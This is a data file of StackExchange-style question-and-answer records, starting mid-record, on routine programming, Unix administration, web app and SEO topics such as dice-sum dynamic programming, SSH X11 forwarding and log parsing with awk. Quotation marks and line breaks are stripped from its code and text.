String): KeyMatcher.testMatchingOrder: Now, that's quite the confusing test method. You wrote, that the implementation does not exist. The actual test driven approach would be write failing test case, implement, refactor. Now important is, you write one failing test case. And you only implement what is needed for the test case to run (Know when to stop.), so you do not implement too much. And an important thing, too, is: What do I need to change, to make my test fail. I mention all that especially because of the last test case. Do you actually have to use four different Keys, wouldn't be two enough to ensure the correct return value? If not: Then something's different, you have to consider writing two different test cases.testMatchingOrder 2: Also to point out the other points I've mentioned, especially the helper-methods and then give-when-then block: Those applied should make this method a lot easier to understand. Beside that: There's nothing wrong to write keyMatcher instead of km, certificateProvider instead of cp and so on. It certainly would have helped me. testMatchingOrder 3: After reading that, I still do not understand the expected behavior of the KeyMatcher, especiall the latest part. You call match, and expect key1. Why? Then you set the webKey to null (why?), and then you expect certs1 (why?). The setup of the test doesn't really help to understand it either.Hope that helps,..."  } 
{  "id": "_codereview.161002"  , "question": "I was solving this question:Given there is a 6 sided dice. Find the total number of ways W, in which a sum S can be reached in N throws.Example:S = 1, N = 6 => W = 0S = 6, N = 6 => W = 1S = 7, N = 6 => W = 6S = 3, N = 2 => W = 2How to improve its complexity and make it more readable?def get_sum_dp(n,s):    t = [[0 for i in xrange(1,s+2)] for j in xrange(1,n+2)]    for j in xrange(1,7):        t[1][j] = 1    for i in range(2, n+1):        for j in range(1, s+1):            for k in range(1,7):                if k < j:                    t[i][j] += t[i-1][j-k]    print t[n][s]    get_sum_dp(2,8) "  , "title": "Find the total number of ways W, in which a sum S can be reached in N throws of a dice"  , "tags": "python;python 2.7;combinatorics;complexity;dice"  , "accepted_answer": "1. ReviewThe sum \\$s=0\\$ can be reached in \\$n=0\\$ throws in exactly one way, but:>>> get_sum_dp(0, 0)Traceback (most recent call last):  File <stdin>, line 1, in <module>  File cr161002.py, line 32, in get_sum_dp    t[1][j] = 1IndexError: list index out of rangeThe name get_sum_dp could be clearer (what does dp mean? dynamic programming?). I would use a name like dice_rolls.A docstring would be helpful in understanding what the function does.It's usually more convenient to return a result instead of printing it. This would allow the result to be used in other computations if needed.Instead oft = [[0 for i in xrange(1,s+2)] for j in xrange(1,n+2)]you could write:t = [[0] * (s + 1) for _ in xrange(n + 1)](It's conventional to use _ for a loop variable whose value is not used.)The initial condition is:for j in xrange(1,7):    t[1][j] = 1but it would be simpler to use the following initial condition:t[0][0] = 1and change:for i in range(2, n+1):    for j in range(1, s+1):        if k < j:to:for i in range(1, n+1):    for j in range(1, s+1):        if k <= j:(This also fixes the bug I noted in point 1 above.)In the nested loops:for i in range(2, n+1):    for j in range(1, s+1):the loop over j goes all the way from 1 to s. But some of this may be wasted, because the sum of i dice must be between i and i * 6. So you could reduce the amount of work by writing:for i in range(2, n+1):    for j in range(i, min(s, i * 6) + 1):Similarly, instead of checking k on every loop iteration:for k in range(1,7):    if k < j:        t[i][j] += t[i-1][j-k]you could compute the loop bounds in advance:for k in xrange(1, min(6, j) + 1):     t[i][j] += t[i - 1][j - k]2. Revised codedef dice_rolls(n, s):    Return the number of ways in which a sum s can be reached in n    throws of a 6-sided die.        t = [[0] * (s + 1) for _ in xrange(n + 1)]    t[0][0] = 1    for i in xrange(1, n + 1):        for j in xrange(i, min(s, i * 6) + 1):            for k in xrange(1, min(6, j) + 1):                t[i][j] += t[i - 1][j - k]    return t[n][s]3. Alternative approachDynamic programming builds up a table of solutions to sub-problems from the bottom up (starting with small problems and using those to solve larger problems). But an alternative approach works from the top down, using recursion to compute the sub-problems, and memoization to avoid duplicated work. This often results in clearer code and it is easier to compute only the table entries that you need.In Python 3.2 or later, you can easily memoize a function using the @functools.lru_cache decorator, like this:import functools@functools.lru_cache(maxsize=None)def dice_rolls(n, s):    Return the number of ways in which a sum s can be reached in n    throws of a 6-sided die.        if s < n or s > n * 6:        return 0    elif n == s == 0:        return 1    else:        return sum(dice_rolls(n - 1, s - i) for i in range(1, 7))(Python 2.7 lacks functools.lru_cache, but there's a backport package.)"  } 
{  "id": "_softwareengineering.355395"  , "question": "According to the eslint documentation:Trailing commas simplify adding and removing items to    objects and arrays, since only the lines you are modifying    must be touched. Another argument in favor of trailing    commas is that it improves the clarity of diffs when an    item is added or removed from an object or arrayHowever, dangling commas appear to have inconsistent behavior in JavaScript. Consider the following:var a = [  'x',  'y',]// a.length --> 2var b = [  'x',  'y']// b.length --> 2var c = [  ,]// c.length --> 1var d = []// d.length --> 0In the first two examples (a and b), the trailing does not affect the length of the array; however, looking at the second two examples (c and d), the existence of a dangling comma does affect the length of the array.I agree that trailing commas make for nicer git diffs, as well as make it easier to add/remove items in objects and arrays, but are there other arguments in favor of it, considering that there are potential tradeoffs?"  , "title": "Arguments for and against comma-dangle in JavaScript"  , "tags": "javascript;coding style;code quality"  } 
{  "id": "_softwareengineering.206781"  , "question": "I have read Would a NoSQL DB be more efficient than a relational DB for storing JSON objects? and am building a small test project in Asp.Net. I have a webapi up in Azure. It returns a List<Company> and Company is my object which has several properties and child list and a lat/long value.//id, name etc.public List<Certification> Certifications { get; set; }public float Latitude { get; set; }public float Longitude { get; set; }public GeoCoordinate Cordinate // etc. GeoCoordinate is from System.Device referenceI return this List of companies and use the JSON output.Now internally, loading this list I load the complete list of companies out of a json file. and if there is no file, a file will be created. This is all good. But the Latitude and Longtitude is empty on the initial basis. So I fill it using googles reverse geocode. That works, but has a request limit. So I'd like to load the list and if lat/long is empty, retrieve the values from google's service and store it. But I am looking for a solution not to store the complete json list to a file again. And I am not looking for a relational database solution, because that is something that I have done enough. Now I have read about mongoDB. But it is a bit hard to set up on Azure. I have had Redis on Azure. What easy and fast solution do you recommend for me to store my list of objects? Do you even recommend it to store it as JSON? or something else? like XML? and use xpath to update values?So I am looking for an architecture/design to update all lat/longs untill google gives the quota limit error and give it a go next try I access the list of companies.ps. I do not want to store a list of Certification's. I am curious if I can keep it as property of company and store the complete company project."  , "title": "JSON object and storage of nosql"  , "tags": "c#;nosql;json;azure"  , "accepted_answer": "I'm gonna show how I would solve this using the Starcounter database to store the data and using it's internal web server to fetch the data as JSON models. The application model is automatically the database if [Database] attribute is set.The database[Database]public class Company{   public String Name;    public String RegistrationNumber;   ... and so on   public IEnumerable<Certificate> Certificates{         get{            return Db.SQL(SELECT c FROM Certificate where c.Position=?,this);         }   }   private Coordinate Coordinate;   public double Latitude{        get{            if(Coordinate == null){                 AssureCoordinates();            }            return Coordinate.Latitude;         }   }   public double Longitute        get{            if(Coordinate == null){                 AssureCoordinates();            }            return Coordinate.Longitute;         }   }   private void AssureCoordinates(){          ... fetch from whatever source and set to Coordinate   }And then in the integrated web server I would define a JSON model for the Company:{     Name:ACME Ltd,     RegistrationNumber:555-5555,     Longitude:123.4,     Latitude:123.4,     Certificates:[        {            ... certifcates properties        }],     $:{DataType:Company},     $Certificates:{DataType:Certificate }This JSON model will be automatically bound to the persistent data in the database upon request.And lastly register the REST verb+URI to respond to:Handle.GET(/company/?, (String registrationNumber) =>{    CompanyModel cModel = new CompanyModel();    Company comp = ... find company in DB using SQL    cModel.Data = comp;return cModel;});Now a JSON model of the requested company would be returned and all data is filled automatically from the database. The Coordinate will be fetched if not set upon first call to Long/Lat. You could of course also return a list of these Companies as well.This setup will make your regular database act like a JSON source, and you can skip the regular web server as well.Hope this helped you on how to solve this problem using a NoSQL database!"  } 
{  "id": "_softwareengineering.233548"  , "question": "We are developing a data model for a marketing database that will import transaction, customer, inventory, etc. files and the directive is ONE process that works for every client. We have been told every client will have different import layouts and different columns that identify a table's primary key. Our initial idea is to get definitions from the client on what columns make each record unique, store those in a mapping table, and then have lookup tables that translate those primary keys to an internal surrogate keys automatically for every destination table so that every table conforms to an integer primary key no matter how many columns/types are used to make up the real pk.The first major problem I saw was when/if have to map back to the lookup tables to get data that we did not store in the main data model, but I have ben assured that anything we ever want to query will be duplicated in the lookup and main tables so that should not be a concern.This kind of flexibility seems like it will cause some serious limitations on:Technology stack (no way to dynamically map these import files inSSIS, need lot of dynamic SQL or java/c#)Scalability (based on previous concern and initial testing, thiswould be difficult to scale without speed concerns) Complexity (we are already running into some complex code changeswhen we try to implement all these tables with historical changelogging while maintaining mapping to the lookup tables for example)My question - Is this feasible or is there another obvious solution we are missing? "  , "title": "Should We Use Surrogate Primary Keys for Every Table?"  , "tags": "design;design patterns;architecture;database;database design"  } 
{  "id": "_webmaster.18475"  , "question": "I have just finished the development of my application. Now I would like to promote\\publicize that (I have no money!). What are techniques most commonly used to do that on the web? And the most efficient?"  , "title": "How effectively to promote\\publicize my web application?"  , "tags": "marketing;website promotion"  } 
{  "id": "_unix.37101"  , "question": "Having TLS certificate in local file, I can display its details using syntax like:openssl x509 -text -noout -in cert_filenameIs there any way to display remote SMTP/POP3/HTTP server's TLS certificate in this same format in bash terminal? "  , "title": "How to display server's TLS certicicate details in terminal?"  , "tags": "command line;openssl;tls"  , "accepted_answer": "openssl s_client -connect server:port display some informations. Maybe is it sufficient for you. It is not exactly the same format, but it can help."  } 
{  "id": "_unix.357974"  , "question": "At the moment of launch from terminal it gives the next info>pulseaudio-equalizer-gtkTraceback (most recent call last):  File /usr/share/pulseaudio-equalizer/pulseaudio-equalizer.py, line 13, in <module>    import gtk, gobject  File /usr/lib64/python2.7/site-packages/gtk-2.0/gtk/__init__.py, line 40, in <module>    from gtk import _gtkImportError: /usr/lib64/libharfbuzz.so.0: undefined symbol: FT_Get_Var_Blend_CoordinatesAs I understand this one the undefined symbol are more or less related to the unavailability  of the library  , making a  zypper search *libharfbuzz*yieldsS |-name              |-description                        | type --+------------------------+----------------------------------------+-----------i | libharfbuzz-icu0       | OpenType  - ICU -> | i | libharfbuzz-icu0-32bit | OpenType  - ICU -> | i | libharfbuzz0           | OpenType           | i | libharfbuzz0-32bit     | OpenType           | So I dont get what is causing that the UI does not start.Thanks in advance"  , "title": "How to start the pulseaudio-equalizer-gtk?"  , "tags": "opensuse;pulseaudio;mate"  } 
{  "id": "_softwareengineering.86983"  , "question": "Is creating a huge public site fully in Silverlight really advisable? for eg. an ecommerce site. I don't want to start any debate but actually I feel Silverlight shouldn't be used for full website because the biggest loss you incur is of SEO. No search engines till today can parse the xap file and index it based on it's content. You can get around it by doing ifs and thens like if Silverlight is not supported then make an Asp.Net equivalent page for it but that only doubles our effort of making application, more than anything else. Why write double code in 2 applications meant for the same purpose. If that is the only option why not create Asp.Net application only. What are your views?Thanks in advance :)"  , "title": "Is creating a full application in Silverlight advisable?"  , "tags": "c#;asp.net;silverlight"  , "accepted_answer": "Short answer: no. Right now the future of Silverlight seems unsure. But this is just my personal opinion. SkyDrive drops SilverlightSilverlight developers rally against Windows 8 plansMicrosoft surrenders Silverlight to HTML5 on cross-platform front"  } 
{  "id": "_webmaster.38805"  , "question": "I'm really new to this SEO world and I've been reading a lot to try and figure it out.We have a site that allows users to browse/create events anywhere. And we fill it with content from the main cities in the US.We would like it to show for searches for things like events in san francisco or what to do in new york, however, since the site is not really location-specific, I'm not really sure where to begin.I've been thinking a couple of things, maybe you can help me decide if these would be a good way to start or if I should try something different.1- Allow something like location-specific urls (e.g. example.com/browse/san-francisco) could just show the main page centered in San Francisco.2- Change the headers/title of the page so it adapts automatically to the city being browsed (and change this dynamically as the user changes the location of the map).3- Add internal links to different locations (e.g. add a link at the footer of the page that says Events in Seattle that makes the site load events in that city. (this would probably depend on implementing #1).What do you guys think? will any of these really help or should I look for a different approach? any advice is welcome."  , "title": "SEO: Getting site to show in location-specific searches"  , "tags": "seo;geolocation"  } 
{  "id": "_unix.155637"  , "question": "Some time in 3.15, someone moved the rts5139 driver out of staging (I cannot find a changelog of this) and it got renamed to rtsx_usb. This, unfortunately, broke support for at least the RTS5139 card reader. I have found about zero other people on the internet having this problem (buried under all of the SVC repos that got indexed?), and was curious as to whether anyone here was having a similar problem and had fixed it.Kernel versions tested to be experiencing the problem:3.17.0-rc4lsmod | grep rts:rtsx_pci               37855  0 rtsx_usb               17487  0 mfd_core               12601  3 lpc_ich,rtsx_pci,rtsx_usbusbcore               187093  9 btusb,snd_usb_audio,uvcvideo,rtsx_usb,snd_usbmidi_lib,ehci_hcd,ehci_pci,usbhid,xhci_hcdlsusb | grep -i rts:Bus 001 Device 009: ID 0bda:0139 Realtek Semiconductor Corp. RTS5139 Card Reader ControllerRemoving/reinserting the rtsx_usb module does nothing. Logs are silent when the reader is interacted with. Strange."  , "title": "rts5139/rtsx_usb borked in 3.15+"  , "tags": "linux kernel;drivers;kernel modules"  } 
{  "id": "_unix.112217"  , "question": "I'm trying to setup XForwarding over ssh, but it fails. The same result happens whether I use the argument -X or -Y for ssh. The error I get.a@ASUS-N53SM:~$ ssh -X -p 6623 pinker@192.168.0.200pinker@192.168.0.200's password: Last login: Sun Feb  2 18:42:08 2014 from 192.168.0.201/usr/bin/xauth: (stdin):1:  bad display name pinker-server:10.0 in remove command/usr/bin/xauth: (stdin):2:  bad display name pinker-server:10.0 in add commandxdpyinfo:  unable to open display pinker-server:10.0.In the client file ~/.ssh/configForwardX11 yesIn the client file /etc/ssh/ssh_config (comments removed).Host *ForwardX11 yesForwardX11Trusted yesSendEnv LANG LC_*HashKnownHosts yesGSSAPIAuthentication yes GSSAPIDelegateCredentials noIn the server file /etc/ssh/sshd_config (comments removed).Port 6623Port 6624Port 6625Protocol 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_dsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyUsePrivilegeSeparation yesKeyRegenerationInterval 3600ServerKeyBits 768SyslogFacility AUTHLogLevel INFOLoginGraceTime 120PermitRootLogin yesStrictModes yesRSAAuthentication yesPubkeyAuthentication yesIgnoreRhosts yesRhostsRSAAuthentication noHostbasedAuthentication noPermitEmptyPasswords noChallengeResponseAuthentication noX11Forwarding yesX11DisplayOffset 10PrintMotd noPrintLastLog yesTCPKeepAlive yesAcceptEnv LANG LC_*Subsystem sftp /usr/lib/openssh/sftp-serverUsePAM yesX11UseLocalhost noAllowTcpForwarding yesI found this similar Question, but none of the answers work.UPDATE:On the server, I added to the file /etc/hosts.127.0.0.1       pinker-serverOn the server, I installed the package xbase-clients. On the ssh connection echo $DISPLAY outputs :0.0.Now I'm getting a new error.X11 connection rejected because of wrong authentication.X11 connection rejected because of wrong authentication.X11 connection rejected because of wrong authentication.X11 connection rejected because of wrong authentication.xdpyinfo:  unable to open display pinker-server:10.0."  , "title": "SSH XForwarding fails - xauth bad display name"  , "tags": "ssh;xforwarding;xauth"  } 
{  "id": "_webapps.104194"  , "question": "How can I create a page in Google+ for my website?I want it to have a URL like plus.google.com/+MyWebsiteName."  , "title": "How to create a Google+ page for my website?"  , "tags": "google plus;google plus pages"  , "accepted_answer": "Sign in to your regular G+ account.At the bottom of the left panel, click Google+ for your brand.On the following screen, click Create Google+ Page.Create your Brand Account.On the following screen, under Enable Google+ for your brand, click Enable.(source)In order to get a custom URL, you need to satisfy some criteria first:Have ten or more followers (people who have added you to their circles)Account is at least 30 days old and in good standingProfile has a profile photoIf you meet the criteria, then you'll see a banner at the top of the screen when signed in to your G+ Brand page.Important: You cant change your custom URL after you create it, so be sure you like yours before you finalize it.(source)"  } 
{  "id": "_webmaster.49821"  , "question": "Suppose there is a website for my company named Seven Season which manufactures T-Shirts. In the website for this company, I have the following pages:HomeAbout usOur ProductsDisclaimerContact UsAll pages have unique content.But following content is the same in each link:Logo and name of the company (i.e., Seven Season)Today's date Front image slide showScrolled company sloganNavigation menu having links of: Home, About us, Our Products, Disclaimer, Contact UsI want to confirm that:Because of above 5 content items which are the same on each page, would I be penalized for duplicate content?Are all these repeated items treated as duplicate content by search engines?If these are considered to be duplicate content, then if I mention the company name as Seven Season in my Home page, then Six Season in my About Us page, and then Five Season in my Product page...is this alternative wise according to SEO?To provide unique content, should I add different menu options in different pages?Should I mention different dates as Today's date in each page?"  , "title": "Would using the same name, logo, date, and menu on each page be considered duplicate content?"  , "tags": "seo"  } 
{  "id": "_webapps.23980"  , "question": "On my Facebook account there is an automatically created photo album called Profile Pictures which contains all the images I've used as profile pictures in the past. I'd like to set one of these images to be my profile picture (not the one which is currently my profile picture, of course). Is there some way to do this without having to upload a new copy of the same image?"  , "title": "Reusing an old Facebook profile picture"  , "tags": "facebook;profile picture"  , "accepted_answer": "Click your name or existing profile photo at the upper left corner of the screen to go into your profile.Once there, the third or so item under your big profile pic at upper left should be Photos.  Click on this.Click on your Profile Pictures album.Click on the photo you want to use as your profile picture.  It will expand into the centre of the screen with a bunch of stuff on the right.In the upper right corner there are three icons, a gear, a downward arrowhead, and an X.  Click the gear icon.A drop-down menu will appear.  The second-last item on the menu should be Make Profile Picture.  Click on this.After a few seconds you will be back at your profile screen, with the selected picture as your profile picture."  } 
{  "id": "_codereview.135260"  , "question": "I have a program which finds, well, a magic square of squares. The problem is, it's quite slow - it processes around 50 numbers in half a second when the number range is above 40,000.Is there any way to improve this code?from math import floor# checksquare checks for the possibility of a set being a magic square.# One example of an incoming list (split for readability) is:# [[1634],# [15, 25, 28], [11, 27, 28], [8, 27, 29],# [3, 28, 29], [12, 23, 31], [13, 21, 32],# [9, 23, 32], [4, 23, 33], [3, 20, 35]]# The square of each number in the lists of length 3# add up to the single number in the list of length 1.# (e.g. 15^2 + 25^2 + 28^2 = 1634)# This function checks for this possibility by doing so:# If all of the numbers in the sets of 3 are repeated at least once,# Then it outputs it to a separate file.def checksquare(listin):    # listcheck only contains the lists of length 3.    listcheck = listin[1:]    # dictofnos is used to check the amount of each number in listcheck.    dictofnos = {}    # setof0s is used to remove numbers which are not repeated.    setof0s = []    # The first loop checks the amount of each number in listcheck.    for e in range(len(listcheck)):        for f in range(3):            try:                dictofnos[(listcheck[e])[f]] += 1            except KeyError:                dictofnos[(listcheck[e])[f]] = 1    # The second loop removes any value that is not repeated.    for g in dictofnos:        if dictofnos[g] == 1:            for h in range(len(listcheck)):                if g in listcheck[h]:                    for j in range(3):                        if dictofnos[(listcheck[h])[j]] == 0:                            pass                        dictofnos[(listcheck[h])[j]] -= 1                    listcheck.remove(listcheck[h])                    listcheck.append([])            for i in range(len(listcheck)):                if len(listcheck[i]) != 3:                    listcheck.remove(listcheck[i])    # This if/elif is used to catch any lists that passed the two loops    # while having non-repeating numbers.    if 0 in dictofnos.values():        [setof0s.append(k) for k in dictofnos if dictofnos[k] == 0]    elif 1 in dictofnos.values():        listcheck = listin[:1] + listcheck        checksquare(listcheck)        return None    # The final loop is deleting entries in the dict which are removed    # (hence the use of setof0s).    for l in setof0s:        del dictofnos[l]    # Outputs to output.txt.    if len(listcheck) != 0:        output = open(output.txt, a+)        output.write(\\n + str(listin[0]) + \\n + str(dictofnos) + \\n + str(listcheck) + \\n)        output.close()# powers checks if 3 squares add up to a number.def powers(limit):    numberrange = 3 * ((limit + 1) ** 2)    for a in range(numberrange):        # Everything here is for efficiency.        temp = 0        templist = [[a]]        check = 1        b = 0        c = int(floor((a / 4.0) ** 0.5))        d = int(floor((a / 2.0) ** 0.5))        while b <= c <= d <= limit and d ** 2 < a:            b += check            if b == c or (b * 2) ** 2 > a:                c += 1                b = 1                continue            if c == d:                d += 1                c = int(floor((a / 4.0) ** 0.5))                b = 1                continue            if (b + c + d) % 2 != a % 2:                check = 2                b -= 1                continue            if b ** 2 + c ** 2 + d ** 2 == a:                templist.append([b, c, d])                temp += 1        # If 8 solutions for b^2 + c^2 + d^2 = a are found        # for any a, then it is sent to checksquare.        if temp >= 8:            checksquare(templist)# The usage of these functions would be to put# powers(whatever the upper bound of d is).powers(100)EDIT: Added explanation (sorry if it's really long), and improved some minor things."  , "title": "Program to find magic square of squares"  , "tags": "python;performance;python 2.7;mathematics"  , "accepted_answer": "This is at least a start. I did not look very heavily in finding a better algorithm itself, just making small improvements of you algorithm. Nevertheless this resulted in a speed-up of about 30%.For comparison (I changed the call to powers(50) so it does not take so long):# Your code$ python -m cProfile magic_square_orig2.py         81524 function calls in 3.462 seconds# With the changes below$ python -m cProfile magic_square2.py              18110 function calls (18107 primitive calls) in 2.496 secondsWith powers(75):# Your code$ python -m cProfile magic_square_orig2.py         336810 function calls in 30.210 seconds# With the changes below$ python -m cProfile magic_square2.py         148883 function calls (148880 primitive calls) in 18.832 secondsUse better names (!!)Even now, where you changed some variable names for better names, the function checksquare is very hard to understand because of variables called g, h, j, k. But since I will take away their meaning as integers below, anyways, we can find better names for them.Iterate over the contents of a listIt is always easier to iterate over the list, instead of iterating an index, compare:for i in range(len(l)):    print l[i]for element in l:    print elementThe latter is a lot easier to read (and understand). It is the recommended way to iterate over a list. So I changed your logic and gave the variables better names:Use collections.Counter()There is already an existing construct that builds a dictionary with counts of objects, it is callen collections.Counter. This way you can replace:for e in range(len(listcheck)):        for f in range(3):            try:                dictofnos[(listcheck[e])[f]] += 1            except KeyError:                dictofnos[(listcheck[e])[f]] = 1with:from collections import Counter...dictofnos = Counter(item for sublist in listcheck for item in sublist)Use list comprehensions where possibleList comprehensions are in general faster than manually writing the for loop, because they are implemented in C (they are not, see e.g. here) a more succinct way to write simple loops that build a list. You can replace some loops:for i in range(len(listcheck)):                if len(listcheck[i]) != 3:                    listcheck.remove(listcheck[i])becomes one of these two:listcheck = filter(lambda powers: len(powers) == 3, listcheck)listcheck = [powers for powers in listcheck if len(powers) == 3]which seem to be about the same speed. where the latter should be slightly faster, because the filter has to take a lambda instead of a predefined function. But using the fact that the only two possible lengths are 0 and 3 and bool(0) == False and bool(3) == True we can just uselistcheck = filter(len, listcheck)in this case.function powersYou compute for example b**2 more than once. It saves quite some time if you save b2 = b**2 (and similar for the other variables) at appropriate places.int() already performs floor so it is not needed here. (int(3.14) == 3 and int(3.99) == 3)You can collect what to write to the output file and write it in one go. This should be faster than repeated opening, writing and closing of the file. For this the function checksquare needs to be adapted to return the values instead of writing it:if listcheck:        return listin[0], dictofnos, listcheckand in powers we add a list to collect the return values:def powers(limit):    out = []    ....        if temp >= 8:                squares = checksquare(templist)                if squares:                    out.append(squares)    ....    return outAdditionally, we can put the writing part to a new function, separating the calculation and output part:def write_powers(n):    with open(output2.txt, w) as out_file:        for power in powers(n):            out_file.write(\\n{}\\n{}\\n{}\\n.format(*power))This also guarantees that the file will be overwritten with each subsequent call to the script (w writes, over-writing the file, while you a+ was always appending).MiscUse the __name__ hook in order to allow importing you function from another script without executing powers(75) every time:if __name__ == __main__:    write_powers(75)Use an actual set for setof0s.Resultfrom collections import Counterdef checksquare(listin):    # listcheck only contains the lists of length 3.    listcheck = listin[1:]    # dictofnos is used to check the amount of each number in listcheck.    dictofnos = Counter(factor for factors in listcheck for factor in factors)    # setof0s is used to remove numbers which are not repeated.    setof0s = set()    # The first loop checks the amount of each number in listcheck.    # The second loop removes any value that is not repeated.    for factor in dictofnos:        if dictofnos[factor] == 1:            for factors in listcheck:                if factor in factors:                    for power in factors:                        if dictofnos[power] == 0:                            pass                        dictofnos[power] -= 1                    listcheck.remove(factors)            #listcheck = filter(lambda powers: len(powers) == 3, listcheck)            listcheck = [powers for powers in listcheck if len(powers) == 3]    # This if/elif is used to catch any lists that passed the two loops    # while having non-repeating numbers.    if 0 in dictofnos.values():        setof0s |= set(k for k in dictofnos if dictofnos[k] == 0)    elif 1 in dictofnos.values():        listcheck = listin[:1] + listcheck        checksquare(listcheck)        return    # The final loop is deleting entries in the dict which are removed    # (hence the use of setof0s).    for l in setof0s:        del dictofnos[l]    # Outputs to output.txt.    if listcheck:        return listin[0], dict(dictofnos), listcheck# powers checks if 3 squares add up to a number.def powers(limit):    out = []    numberrange = 3 * ((limit + 1) ** 2)    for a in range(numberrange):        # Everything here is for efficiency.        temp = 0        templist = [[a]]        check = 1        b = b2 = 0        c = int((a / 4.0) ** 0.5)        d = int((a / 2.0) ** 0.5)        c2, d2 = c**2, d**2        while b <= c <= d <= limit and d2 < a:            b += check            b2 = b**2            if b == c or 4*b2 > a:                c += 1                c2 = c**2                b = b2 = 1                continue            if c == d:                d += 1                d2 = d**2                c = int((a / 4.0) ** 0.5)                c2 = c**2                b = b2 = 1                continue            if (b + c + d) % 2 != a % 2:                check = 2                b -= 1                b2 = 1                continue            if b2 + c2 + d2 == a:                templist.append([b, c, d])                temp += 1        # If 8 solutions for b^2 + c^2 + d^2 = a are found        # for any a, then it is sent to checksquare.        if temp >= 8:            squares = checksquare(templist)            if squares:                out.append(squares)    return outdef write_powers(n):    with open(output2.txt, w) as out_file:        for power in powers(n):            print power            out_file.write(\\n{}\\n{}\\n{}\\n.format(*power))# The usage of these functions would be to put# powers(whatever the upper bound of d is).if __name__ == __main__:    write_powers(75)"  } 
{  "id": "_unix.104040"  , "question": "I have a log file and I'm making a script to do some actions. An action is to print a specific area of the log.Every block at the log starts with a specific time stamp and inside the block may have other dates etc.I want to get the block that inside it there is the word exception. Tried with sed but as I know process line by line, also tried with awk and FS \\n but again nothing....A part of the log file,06:14:27.9 starting web server06:14:33.3 Initializing Spring framework LogsOct 18, 2013 6:14:33 AM org.apache.catalina.startup.Embedded startINFO: Starting tomcat serverOct 18, 2013 6:14:34 AM org.apache.catalina.core.StandardEngine startINFO: Starting Servlet Engine: Apache Tomcat/6.0.32Oct 18, 2013 6:14:35 AM org.apache.catalina.startup.ContextConfig DefaultWebConfigINFO: No default web.xmlOct 18, 2013 6:14:38 AM org.apache.catalina.session.StandardManager doLoadSEVERE: IOException while loading persisted sessions: java.io.WriteAbortedException: writing aborted; java.io.NotSerializableException: ads.doc.backoffice.StoreInfosjava.io.WriteAbortedException: writing aborted; java.io.NotSerializableException: ads.doc.backoffice.StoreInfos    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1354)    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1915)........................    at ads.tools.AppServerMain.main(AppServerMain.java:83)Caused by: java.io.NotSerializableException: ads.doc.backoffice.StoreInfosINFO: Jk running ID=0 time=0/105  config=null06:14:48.6 Starting exporter server06:14:48.6 starting cron serveranother part of a log03:19:13.4 Begin summary update for ads.doc.inventory.InventoryItemSummary03:19:33.9 CronServer:: DailyJob ads.tools.UpdateSummaries@17c5d6cf failed with exception ads.util.AppError: Cannot create UnitName from keys: Eachads.util.AppError: Cannot create UnitName from keys: Eachat ads.db.DBObjectDefault.createFromKeys(DBObjectDefault.java:42)at ads.db.DBTable.createFromKeys(DBTable.java:227)at ads.db.DBValue.getValue(DBValue.java:621)at ads.dbmanager.DBObjectsManager.initObjects(DBObjectsManager.java:400)at ads.dbmanager.DBObjectsManager.reload(DBObjectsManager.java:447)at ads.dbmanager.DBObjectsManager.loadFromStore(DBObjectsManager.java:497)at ads.doc.inventory.InventoryItemSummary.refreshSince(InventoryItemSummary.java:173)at ads.db.DBSummaryTable.refreshAll(DBSummaryTable.java:67)at ads.tools.CronServer$DailyThread.run(CronServer.java:271)[SOAPException: faultCode=SOAP-ENV:Client; msg=Error opening socket: java.net.ConnectException: Connection refused; targetException=java.lang.IllegalArgumentException: Error opening socket: java.net.ConnectException: Connection refused]at org.apache.soap.transport.http.SOAPHTTPConnection.send(SOAPHTTPConnection.java:354)at org.apache.soap.rpc.Call.invoke(Call.java:248)at ads.support.SupportCall.call(SupportCall.java:56)at ads.tools.SupportThread.run(SupportThread.java:101)03:46:42.5 Periodic support request failed: ads.support.SupportException: Error opening socket: java.net.ConnectException: Connection refused06:31:36.1 Upload failed: java.io.FileNotFoundException: c:/tmp/cygwin1.dll (No such file or directory)08:01:08.0 connect from /172.22.3.28I want to print from the first till the second last (06:14:33.3 till 06:14:48.6). And inside the log there are multiple blocks as this.Tried this:awk '/^[0-9][0-9]\\:[0-9][0-9]\\:[0-9][0-9]\\.[0-9].*[e|E]xception.*[0-9][0-9]\\:[0-9][0-9]\\:[0-9][0-9]\\.[0-9]/ {print}' FS=\\n RS= log.txtand also this:sed '/^[0-9][0-9]\\:[0-9][0-9]\\:[0-9][0-9]\\.[0-9].*[e|E]xception.*/,/^[0-9][0-9]\\:[0-9][0-9]\\:[0-9][0-9]\\.[0-9]/!d' log.txtbut I can't get the result I want."  , "title": "bash script, printing multiple lines that matching to a specific patern"  , "tags": "bash;sed;awk;regular expression"  } 
{  "id": "_webapps.100271"  , "question": "I have been trying to get Net Assets and 1 Week Return for SPY on Google Spreadsheets but keep ending up with #N/A.I have been following the information from this sheet but have yet to figure out what I am doing wrong: https://support.google.com/docs/answer/3093281?hl=enMy Spreadsheet: https://docs.google.com/spreadsheets/d/1kuAhDjzZT845s0tfAMM8s85ZUkONKF_7qlAX2JKW4yA/edit?usp=sharingHave the codes for Google Finance stopped working or am I writing the codes wrong?"  , "title": "Google Finance / Spreadsheets"  , "tags": "google spreadsheets;google finance"  , "accepted_answer": "The following formula works fine:=googlefinance(spy, price)There are some attributes that are not available for some stocks, this could the the case for SPY."  } 
{  "id": "_webmaster.10300"  , "question": "Quick question:I'm trying to decide on the best domain name for my niche. I have it narrowed down to the following options:keyword.comykeyword.comkeywordnetwork.comWhich of these domain names will perform the best from an SEO perspective?"  , "title": "SEO Domain Name Optimization"  , "tags": "seo;domains"  , "accepted_answer": "From an SEO perspective:keyword.co - perfect for the keyword but if you're targeting a specific country the .co (Columbia) TLD will hurt you. If not you're good to go.mykeyword.com - Good keyword usage but not targeted toward any countrykeywordnetwork.com - Good keyword usage but not targeted toward any country. If there is such a things as keyword density in domain names/URLs then technically you have diluted it a bit by having network in it but in practice this won't make much of a difference at all.Remmeber, there's more to a domain name then SEO. If you don't keep your users in mnd you've lost before you've even begun. .coms are easy to remember vs country specific TLDs. Also, it wouldn't surprise me if people accidentally added the m to .co when typing in the first one. I'm not saying it's going to happen a lot but I can see it happening simply out of habit. "  } 
